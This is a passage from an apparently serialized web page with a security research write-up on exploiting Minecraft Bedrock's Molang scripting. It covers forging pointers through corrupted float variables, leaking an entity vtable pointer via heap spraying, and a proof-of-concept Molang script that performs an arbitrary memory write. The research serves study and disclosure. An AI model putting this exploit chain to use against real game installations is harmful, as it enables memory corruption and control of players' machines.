00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[155835],{"type":22,"tag":114,"props":155836,"children":155837},{"__ignoreMap":7},[155838],{"type":28,"value":155833},{"type":22,"tag":31,"props":155840,"children":155841},{},[155842,155844,155849,155851,155857,155859,155864],{"type":28,"value":155843},"Now, the value of ",{"type":22,"tag":114,"props":155845,"children":155847},{"className":155846},[],[155848],{"type":28,"value":154950},{"type":28,"value":155850}," only spans 16 bits (",{"type":22,"tag":114,"props":155852,"children":155854},{"className":155853},[],[155855],{"type":28,"value":155856},"0xbba0",{"type":28,"value":155858}," specifically), which is always a valid float since it’s far below ",{"type":22,"tag":114,"props":155860,"children":155862},{"className":155861},[],[155863],{"type":28,"value":155448},{"type":28,"value":292},{"type":22,"tag":31,"props":155866,"children":155867},{},[155868,155870,155875],{"type":28,"value":155869},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":22,"tag":114,"props":155871,"children":155873},{"className":155872},[],[155874],{"type":28,"value":154950},{"type":28,"value":213},{"type":22,"tag":107,"props":155877,"children":155878},{"code":155632},[155879],{"type":22,"tag":114,"props":155880,"children":155881},{"__ignoreMap":7},[155882],{"type":28,"value":155632},{"type":22,"tag":31,"props":155884,"children":155885},{},[155886],{"type":28,"value":155887},"Which results in:",{"type":22,"tag":107,"props":155889,"children":155891},{"code":155890},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[155892],{"type":22,"tag":114,"props":155893,"children":155894},{"__ignoreMap":7},[155895],{"type":28,"value":155890},{"type":22,"tag":31,"props":155897,"children":155898},{},[155899],{"type":28,"value":155900},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":22,"tag":107,"props":155902,"children":155904},{"code":155903},"variable.b = variable.saved_upper_48;\n",[155905],{"type":22,"tag":114,"props":155906,"children":155907},{"__ignoreMap":7},[155908],{"type":28,"value":155903},{"type":22,"tag":31,"props":155910,"children":155911},{},[155912],{"type":28,"value":155913},"Yielding a valid pointer again:",{"type":22,"tag":107,"props":155915,"children":155917},{"code":155916},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[155918],{"type":22,"tag":114,"props":155919,"children":155920},{"__ignoreMap":7},[155921],{"type":28,"value":155916},{"type":22,"tag":31,"props":155923,"children":155924},{},[155925],{"type":28,"value":155926},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":22,"tag":107,"props":155928,"children":155930},{"code":155929},"variable.saved_adjusted_lower_16 = variable.a;\n",[155931],{"type":22,"tag":114,"props":155932,"children":155933},{"__ignoreMap":7},[155934],{"type":28,"value":155929},{"type":22,"tag":31,"props":155936,"children":155937},{},[155938],{"type":28,"value":155939},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":22,"tag":107,"props":155941,"children":155943},{"code":155942},"variable.a = variable.saved_upper_48;\n",[155944],{"type":22,"tag":114,"props":155945,"children":155946},{"__ignoreMap":7},[155947],{"type":28,"value":155942},{"type":22,"tag":31,"props":155949,"children":155950},{},[155951],{"type":28,"value":155952},"This produces the following state:",{"type":22,"tag":107,"props":155954,"children":155956},{"code":155955},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[155957],{"type":22,"tag":114,"props":155958,"children":155959},{"__ignoreMap":7},[155960],{"type":28,"value":155955},{"type":22,"tag":31,"props":155962,"children":155963},{},[155964,155966,155971,155973,155979,155981,155987,155989,155994,155996,156001],{"type":28,"value":155965},"As shown, ",{"type":22,"tag":114,"props":155967,"children":155969},{"className":155968},[],[155970],{"type":28,"value":154964},{"type":28,"value":155972}," now contains the upper 16 bits of the address (",{"type":22,"tag":114,"props":155974,"children":155976},{"className":155975},[],[155977],{"type":28,"value":155978},"0x1c80",{"type":28,"value":155980},"), which we can store as ",{"type":22,"tag":114,"props":155982,"children":155984},{"className":155983},[],[155985],{"type":28,"value":155986},"variable.saved_upper_16 = variable.b",{"type":28,"value":155988},". Meanwhile, ",{"type":22,"tag":114,"props":155990,"children":155992},{"className":155991},[],[155993],{"type":28,"value":154950},{"type":28,"value":155995}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":22,"tag":114,"props":155997,"children":155999},{"className":155998},[],[156000],{"type":28,"value":154964},{"type":28,"value":213},{"type":22,"tag":107,"props":156003,"children":156004},{"code":155820},[156005],{"type":22,"tag":114,"props":156006,"children":156007},{"__ignoreMap":7},[156008],{"type":28,"value":155820},{"type":22,"tag":31,"props":156010,"children":156011},{},[156012],{"type":28,"value":156013},"Leaving us with:",{"type":22,"tag":107,"props":156015,"children":156017},{"code":156016},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[156018],{"type":22,"tag":114,"props":156019,"children":156020},{"__ignoreMap":7},[156021],{"type":28,"value":156016},{"type":22,"tag":31,"props":156023,"children":156024},{},[156025],{"type":28,"value":156026},"We can now save the middle 16 bits:",{"type":22,"tag":107,"props":156028,"children":156030},{"code":156029},"variable.saved_middle_16 = variable.a;\n",[156031],{"type":22,"tag":114,"props":156032,"children":156033},{"__ignoreMap":7},[156034],{"type":28,"value":156029},{"type":22,"tag":31,"props":156036,"children":156037},{},[156038],{"type":28,"value":156039},"At this point, we have:",{"type":22,"tag":107,"props":156041,"children":156043},{"code":156042},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[156044],{"type":22,"tag":114,"props":156045,"children":156046},{"__ignoreMap":7},[156047],{"type":28,"value":156042},{"type":22,"tag":31,"props":156049,"children":156050},{},[156051],{"type":28,"value":156052},"All three parts are valid float values, ensuring deterministic calculations.",{"type":22,"tag":31,"props":156054,"children":156055},{},[156056],{"type":28,"value":156057},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":22,"tag":107,"props":156059,"children":156061},{"code":156060},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[156062],{"type":22,"tag":114,"props":156063,"children":156064},{"__ignoreMap":7},[156065],{"type":28,"value":156060},{"type":22,"tag":31,"props":156067,"children":156068},{},[156069],{"type":28,"value":156070},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":22,"tag":107,"props":156072,"children":156074},{"code":156073},"variable.a = variable.saved_adjusted_middle_16;\n",[156075],{"type":22,"tag":114,"props":156076,"children":156077},{"__ignoreMap":7},[156078],{"type":28,"value":156073},{"type":22,"tag":31,"props":156080,"children":156081},{},[156082,156084,156089,156090,156096,156097,156103],{"type":28,"value":156083},"Setting ",{"type":22,"tag":114,"props":156085,"children":156087},{"className":156086},[],[156088],{"type":28,"value":154950},{"type":28,"value":58717},{"type":22,"tag":114,"props":156091,"children":156093},{"className":156092},[],[156094],{"type":28,"value":156095},"0xddcd",{"type":28,"value":842},{"type":22,"tag":114,"props":156098,"children":156100},{"className":156099},[],[156101],{"type":28,"value":156102},"0xddcc + 1",{"type":28,"value":156104},"), and then:",{"type":22,"tag":107,"props":156106,"children":156108},{"code":156107},"variable.b = variable.saved_adjusted_upper_16;\n",[156109],{"type":22,"tag":114,"props":156110,"children":156111},{"__ignoreMap":7},[156112],{"type":28,"value":156107},{"type":22,"tag":31,"props":156114,"children":156115},{},[156116,156118,156123,156125,156131,156132,156138],{"type":28,"value":156117},"Resulting in ",{"type":22,"tag":114,"props":156119,"children":156121},{"className":156120},[],[156122],{"type":28,"value":154964},{"type":28,"value":156124}," value becoming ",{"type":22,"tag":114,"props":156126,"children":156128},{"className":156127},[],[156129],{"type":28,"value":156130},"0x1c81",{"type":28,"value":842},{"type":22,"tag":114,"props":156133,"children":156135},{"className":156134},[],[156136],{"type":28,"value":156137},"0x1c80 + 1",{"type":28,"value":25891},{"type":22,"tag":107,"props":156140,"children":156142},{"code":156141},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156143],{"type":22,"tag":114,"props":156144,"children":156145},{"__ignoreMap":7},[156146],{"type":28,"value":156141},{"type":22,"tag":31,"props":156148,"children":156149},{},[156150],{"type":28,"value":156151},"Now we save the adjusted upper 48 bits:",{"type":22,"tag":107,"props":156153,"children":156155},{"code":156154},"variable.saved_adjusted_upper_48 = variable.a;\n",[156156],{"type":22,"tag":114,"props":156157,"children":156158},{"__ignoreMap":7},[156159],{"type":28,"value":156154},{"type":22,"tag":31,"props":156161,"children":156162},{},[156163],{"type":28,"value":156164},"Finally, we attach the lower 16 bits:",{"type":22,"tag":107,"props":156166,"children":156168},{"code":156167},"variable.a = variable.saved_adjusted_lower_16;\n",[156169],{"type":22,"tag":114,"props":156170,"children":156171},{"__ignoreMap":7},[156172],{"type":28,"value":156167},{"type":22,"tag":107,"props":156174,"children":156176},{"code":156175},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156177],{"type":22,"tag":114,"props":156178,"children":156179},{"__ignoreMap":7},[156180],{"type":28,"value":156175},{"type":22,"tag":31,"props":156182,"children":156183},{},[156184],{"type":28,"value":156185},"And by setting:",{"type":22,"tag":107,"props":156187,"children":156189},{"code":156188},"variable.b = variable.saved_adjusted_upper_48;\n",[156190],{"type":22,"tag":114,"props":156191,"children":156192},{"__ignoreMap":7},[156193],{"type":28,"value":156188},{"type":22,"tag":31,"props":156195,"children":156196},{},[156197],{"type":28,"value":156198},"We forge the final adjusted pointer:",{"type":22,"tag":107,"props":156200,"children":156202},{"code":156201},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156203],{"type":22,"tag":114,"props":156204,"children":156205},{"__ignoreMap":7},[156206],{"type":28,"value":156201},{"type":22,"tag":20760,"props":156208,"children":156209},{},[],{"type":22,"tag":31,"props":156211,"children":156212},{},[156213,156215,156220],{"type":28,"value":156214},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":22,"tag":114,"props":156216,"children":156218},{"className":156217},[],[156219],{"type":28,"value":155746},{"type":28,"value":155702},{"type":22,"tag":31,"props":156222,"children":156223},{},[156224,156226,156231,156233,156238,156240,156246,156248,156253],{"type":28,"value":156225},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":22,"tag":114,"props":156227,"children":156229},{"className":156228},[],[156230],{"type":28,"value":155746},{"type":28,"value":156232},". Instead, we need any two pointers on the heap - one pointing to ",{"type":22,"tag":114,"props":156234,"children":156236},{"className":156235},[],[156237],{"type":28,"value":32625},{"type":28,"value":156239}," and the other to ",{"type":22,"tag":114,"props":156241,"children":156243},{"className":156242},[],[156244],{"type":28,"value":156245},"addr + 2",{"type":28,"value":156247}," (as long as ",{"type":22,"tag":114,"props":156249,"children":156251},{"className":156250},[],[156252],{"type":28,"value":32625},{"type":28,"value":156254}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":22,"tag":31,"props":156256,"children":156257},{},[156258,156260,156265,156266,156271],{"type":28,"value":156259},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":22,"tag":114,"props":156261,"children":156263},{"className":156262},[],[156264],{"type":28,"value":151720},{"type":28,"value":155505},{"type":22,"tag":114,"props":156267,"children":156269},{"className":156268},[],[156270],{"type":28,"value":154524},{"type":28,"value":156272}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":22,"tag":107,"props":156274,"children":156276},{"code":156275},"variable.corrupted_var_map_ptr = variable.a;\n",[156277],{"type":22,"tag":114,"props":156278,"children":156279},{"__ignoreMap":7},[156280],{"type":28,"value":156275},{"type":22,"tag":31,"props":156282,"children":156283},{},[156284,156286,156291,156293,156299],{"type":28,"value":156285},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":22,"tag":114,"props":156287,"children":156289},{"className":156288},[],[156290],{"type":28,"value":41093},{"type":28,"value":156292}," field (in this case, the reconstructed pointer) and writes it to ",{"type":22,"tag":114,"props":156294,"children":156296},{"className":156295},[],[156297],{"type":28,"value":156298},"variable.corrupted_var_map_ptr",{"type":28,"value":156300},", even though the type itself is only a 32-bit float.",{"type":22,"tag":1899,"props":156302,"children":156304},{"id":156303},"finding-misaligned-pointers",[156305],{"type":28,"value":156306},"Finding Misaligned Pointers",{"type":22,"tag":31,"props":156308,"children":156309},{},[156310,156312,156317,156318,156324],{"type":28,"value":156311},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":22,"tag":114,"props":156313,"children":156315},{"className":156314},[],[156316],{"type":28,"value":15933},{"type":28,"value":12991},{"type":22,"tag":114,"props":156319,"children":156321},{"className":156320},[],[156322],{"type":28,"value":156323},"ptr + 2",{"type":28,"value":156325},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":22,"tag":31,"props":156327,"children":156328},{},[156329,156334,156335,156340,156342,156347,156349,156354,156356,156361,156363,156368,156370,156376,156377,156382],{"type":22,"tag":114,"props":156330,"children":156332},{"className":156331},[],[156333],{"type":28,"value":154700},{"type":28,"value":17418},{"type":22,"tag":114,"props":156336,"children":156338},{"className":156337},[],[156339],{"type":28,"value":154723},{"type":28,"value":156341}," found inside every entity object. As noted earlier, a ",{"type":22,"tag":114,"props":156343,"children":156345},{"className":156344},[],[156346],{"type":28,"value":154554},{"type":28,"value":156348}," contains three pointers: ",{"type":22,"tag":114,"props":156350,"children":156352},{"className":156351},[],[156353],{"type":28,"value":151720},{"type":28,"value":156355}," (the start of the allocated buffer), ",{"type":22,"tag":114,"props":156357,"children":156359},{"className":156358},[],[156360],{"type":28,"value":11137},{"type":28,"value":156362}," (just past the last element) and ",{"type":22,"tag":114,"props":156364,"children":156366},{"className":156365},[],[156367],{"type":28,"value":154653},{"type":28,"value":156369}," (the end of the allocated buffer). Because the element type is ",{"type":22,"tag":114,"props":156371,"children":156373},{"className":156372},[],[156374],{"type":28,"value":156375},"uint16_t",{"type":28,"value":103893},{"type":22,"tag":114,"props":156378,"children":156380},{"className":156379},[],[156381],{"type":28,"value":11137},{"type":28,"value":156383}," pointer advances by 2 bytes each time a new element is added.",{"type":22,"tag":31,"props":156385,"children":156386},{},[156387,156389,156394,156396,156402],{"type":28,"value":156388},"We can make the ",{"type":22,"tag":114,"props":156390,"children":156392},{"className":156391},[],[156393],{"type":28,"value":11137},{"type":28,"value":156395}," pointer equal to ",{"type":22,"tag":114,"props":156397,"children":156399},{"className":156398},[],[156400],{"type":28,"value":156401},"cap - 2",{"type":28,"value":156403}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":22,"tag":107,"props":156405,"children":156407},{"code":156406},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[156408],{"type":22,"tag":114,"props":156409,"children":156410},{"__ignoreMap":7},[156411],{"type":28,"value":156406},{"type":22,"tag":20760,"props":156413,"children":156414},{},[],{"type":22,"tag":31,"props":156416,"children":156417},{},[156418,156420,156425,156427,156432,156434,156439,156441,156446,156447,156452],{"type":28,"value":156419},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":22,"tag":114,"props":156421,"children":156423},{"className":156422},[],[156424],{"type":28,"value":151720},{"type":28,"value":156426}," pointer of ",{"type":22,"tag":114,"props":156428,"children":156430},{"className":156429},[],[156431],{"type":28,"value":154524},{"type":28,"value":156433}," in the entity object above, one that would index ",{"type":22,"tag":114,"props":156435,"children":156437},{"className":156436},[],[156438],{"type":28,"value":11137},{"type":28,"value":156440}," and the final ",{"type":22,"tag":114,"props":156442,"children":156444},{"className":156443},[],[156445],{"type":28,"value":154653},{"type":28,"value":156426},{"type":22,"tag":114,"props":156448,"children":156450},{"className":156449},[],[156451],{"type":28,"value":154700},{"type":28,"value":156453}," also in the same entity object above.",{"type":22,"tag":31,"props":156455,"children":156456},{},[156457,156459,156465,156466,156472,156474,156479,156480,156485,156487,156492,156494,156499,156500,156505,156507,156512],{"type":28,"value":156458},"The corrupted variables ",{"type":22,"tag":114,"props":156460,"children":156462},{"className":156461},[],[156463],{"type":28,"value":156464},"variable.corrupted_len_ptr",{"type":28,"value":12991},{"type":22,"tag":114,"props":156467,"children":156469},{"className":156468},[],[156470],{"type":28,"value":156471},"variable.corrupted_cap_ptr",{"type":28,"value":156473}," point to ",{"type":22,"tag":114,"props":156475,"children":156477},{"className":156476},[],[156478],{"type":28,"value":11137},{"type":28,"value":12991},{"type":22,"tag":114,"props":156481,"children":156483},{"className":156482},[],[156484],{"type":28,"value":154653},{"type":28,"value":156486},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":22,"tag":114,"props":156488,"children":156490},{"className":156489},[],[156491],{"type":28,"value":156298},{"type":28,"value":156493},", points to the ",{"type":22,"tag":114,"props":156495,"children":156497},{"className":156496},[],[156498],{"type":28,"value":151720},{"type":28,"value":155505},{"type":22,"tag":114,"props":156501,"children":156503},{"className":156502},[],[156504],{"type":28,"value":154524},{"type":28,"value":156506},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":22,"tag":114,"props":156508,"children":156510},{"className":156509},[],[156511],{"type":28,"value":154524},{"type":28,"value":156513},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":22,"tag":31,"props":156515,"children":156516},{},[156517],{"type":28,"value":156518},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":22,"tag":1899,"props":156520,"children":156522},{"id":156521},"leaking-pointers",[156523],{"type":28,"value":156524},"Leaking Pointers",{"type":22,"tag":31,"props":156526,"children":156527},{},[156528,156530,156536],{"type":28,"value":156529},"In C++, an object’s first field is typically a ",{"type":22,"tag":114,"props":156531,"children":156533},{"className":156532},[],[156534],{"type":28,"value":156535},"vtable",{"type":28,"value":156537}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":22,"tag":107,"props":156539,"children":156541},{"code":156540},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[156542],{"type":22,"tag":114,"props":156543,"children":156544},{"__ignoreMap":7},[156545],{"type":28,"value":156540},{"type":22,"tag":31,"props":156547,"children":156548},{},[156549,156550,156555,156557,156562,156564,156569,156571,156576,156578,156583,156584,156589,156591,156596],{"type":28,"value":2743},{"type":22,"tag":114,"props":156551,"children":156553},{"className":156552},[],[156554],{"type":28,"value":41093},{"type":28,"value":156556}," field inside a ",{"type":22,"tag":114,"props":156558,"children":156560},{"className":156559},[],[156561],{"type":28,"value":154197},{"type":28,"value":156563}," is at offset ",{"type":22,"tag":114,"props":156565,"children":156567},{"className":156566},[],[156568],{"type":28,"value":154458},{"type":28,"value":156570},". We already control a corrupted variable, ",{"type":22,"tag":114,"props":156572,"children":156574},{"className":156573},[],[156575],{"type":28,"value":156464},{"type":28,"value":156577},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":22,"tag":114,"props":156579,"children":156581},{"className":156580},[],[156582],{"type":28,"value":11137},{"type":28,"value":155505},{"type":22,"tag":114,"props":156585,"children":156587},{"className":156586},[],[156588],{"type":28,"value":154700},{"type":28,"value":156590}," by 2 bytes, which in turn advances ",{"type":22,"tag":114,"props":156592,"children":156594},{"className":156593},[],[156595],{"type":28,"value":156464},{"type":28,"value":156597}," by 2 bytes.",{"type":22,"tag":31,"props":156599,"children":156600},{},[156601,156603,156608,156610,156616,156617,156622,156623,156628,156630,156635],{"type":28,"value":156602},"By moving ",{"type":22,"tag":114,"props":156604,"children":156606},{"className":156605},[],[156607],{"type":28,"value":11137},{"type":28,"value":156609}," so it equals ",{"type":22,"tag":114,"props":156611,"children":156613},{"className":156612},[],[156614],{"type":28,"value":156615},"cap - 0x38",{"type":28,"value":103893},{"type":22,"tag":114,"props":156618,"children":156620},{"className":156619},[],[156621],{"type":28,"value":41093},{"type":28,"value":155505},{"type":22,"tag":114,"props":156624,"children":156626},{"className":156625},[],[156627],{"type":28,"value":156464},{"type":28,"value":156629}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":22,"tag":114,"props":156631,"children":156633},{"className":156632},[],[156634],{"type":28,"value":156535},{"type":28,"value":156636}," pointer. We can then capture that pointer with:",{"type":22,"tag":107,"props":156638,"children":156640},{"code":156639},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[156641],{"type":22,"tag":114,"props":156642,"children":156643},{"__ignoreMap":7},[156644],{"type":28,"value":156639},{"type":22,"tag":31,"props":156646,"children":156647},{},[156648,156650,156655,156657,156662,156664,156669,156671,156677],{"type":28,"value":156649},"After saving the leak, we add 27 unseen variables to advance ",{"type":22,"tag":114,"props":156651,"children":156653},{"className":156652},[],[156654],{"type":28,"value":11137},{"type":28,"value":156656}," until it equals ",{"type":22,"tag":114,"props":156658,"children":156660},{"className":156659},[],[156661],{"type":28,"value":156401},{"type":28,"value":156663},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":22,"tag":114,"props":156665,"children":156667},{"className":156666},[],[156668],{"type":28,"value":156535},{"type":28,"value":156670}," address in ",{"type":22,"tag":114,"props":156672,"children":156674},{"className":156673},[],[156675],{"type":28,"value":156676},"variable.saved_vtable_pointer",{"type":28,"value":292},{"type":22,"tag":20760,"props":156679,"children":156680},{},[],{"type":22,"tag":31,"props":156682,"children":156683},{},[156684,156686,156691,156693,156699],{"type":28,"value":156685},"A Molang script that performs an arbitrary write of the value ",{"type":22,"tag":114,"props":156687,"children":156689},{"className":156688},[],[156690],{"type":28,"value":45439},{"type":28,"value":156692}," to the address ",{"type":22,"tag":114,"props":156694,"children":156696},{"className":156695},[],[156697],{"type":28,"value":156698},"vtable + 0x1000",{"type":28,"value":156700}," looks like this:",{"type":22,"tag":107,"props":156702,"children":156704},{"code":156703},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[156705],{"type":22,"tag":114,"props":156706,"children":156707},{"__ignoreMap":7},[156708],{"type":28,"value":156703},{"type":22,"tag":1899,"props":156710,"children":156712},{"id":156711},"required-heap-layout",[156713],{"type":28,"value":156714},"Required Heap Layout",{"type":22,"tag":31,"props":156716,"children":156717},{},[156718],{"type":28,"value":156719},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":22,"tag":107,"props":156721,"children":156723},{"code":156722},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[156724],{"type":22,"tag":114,"props":156725,"children":156726},{"__ignoreMap":7},[156727],{"type":28,"value":156722},{"type":22,"tag":31,"props":156729,"children":156730},{},[156731,156733,156739,156741,156746,156748,156753,156755,156760,156761,156766],{"type":28,"value":156732},"The first region (",{"type":22,"tag":114,"props":156734,"children":156736},{"className":156735},[],[156737],{"type":28,"value":156738},"Heap Region 1",{"type":28,"value":156740},") contains alternating ",{"type":22,"tag":114,"props":156742,"children":156744},{"className":156743},[],[156745],{"type":28,"value":154524},{"type":28,"value":156747},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":22,"tag":114,"props":156749,"children":156751},{"className":156750},[],[156752],{"type":28,"value":154554},{"type":28,"value":156754}," pointers of ",{"type":22,"tag":114,"props":156756,"children":156758},{"className":156757},[],[156759],{"type":28,"value":154524},{"type":28,"value":12991},{"type":22,"tag":114,"props":156762,"children":156764},{"className":156763},[],[156765],{"type":28,"value":154700},{"type":28,"value":156767}," from the entity object for our main attack.",{"type":22,"tag":31,"props":156769,"children":156770},{},[156771,156773,156779,156781,156786,156788,156793,156795,156800,156802,156807],{"type":28,"value":156772},"The second region (",{"type":22,"tag":114,"props":156774,"children":156776},{"className":156775},[],[156777],{"type":28,"value":156778},"Heap Region 2",{"type":28,"value":156780},") contains interleaved ",{"type":22,"tag":114,"props":156782,"children":156784},{"className":156783},[],[156785],{"type":28,"value":154700},{"type":28,"value":156787},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":22,"tag":114,"props":156789,"children":156791},{"className":156790},[],[156792],{"type":28,"value":156535},{"type":28,"value":156794}," pointer into ",{"type":22,"tag":114,"props":156796,"children":156798},{"className":156797},[],[156799],{"type":28,"value":156464},{"type":28,"value":156801}," during our main attack. It could be any object with a ",{"type":22,"tag":114,"props":156803,"children":156805},{"className":156804},[],[156806],{"type":28,"value":156535},{"type":28,"value":156808},", but for simplicity we use the entity object.",{"type":22,"tag":31,"props":156810,"children":156811},{},[156812,156814,156820,156822,156827],{"type":28,"value":156813},"During the attack, overwriting another variable's pointer with\n",{"type":22,"tag":114,"props":156815,"children":156817},{"className":156816},[],[156818],{"type":28,"value":156819},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":28,"value":156821}," will very likely clobber the ",{"type":22,"tag":114,"props":156823,"children":156825},{"className":156824},[],[156826],{"type":28,"value":155020},{"type":28,"value":156828}," pointer of a different entity than the one subject to the initial index corruption. In 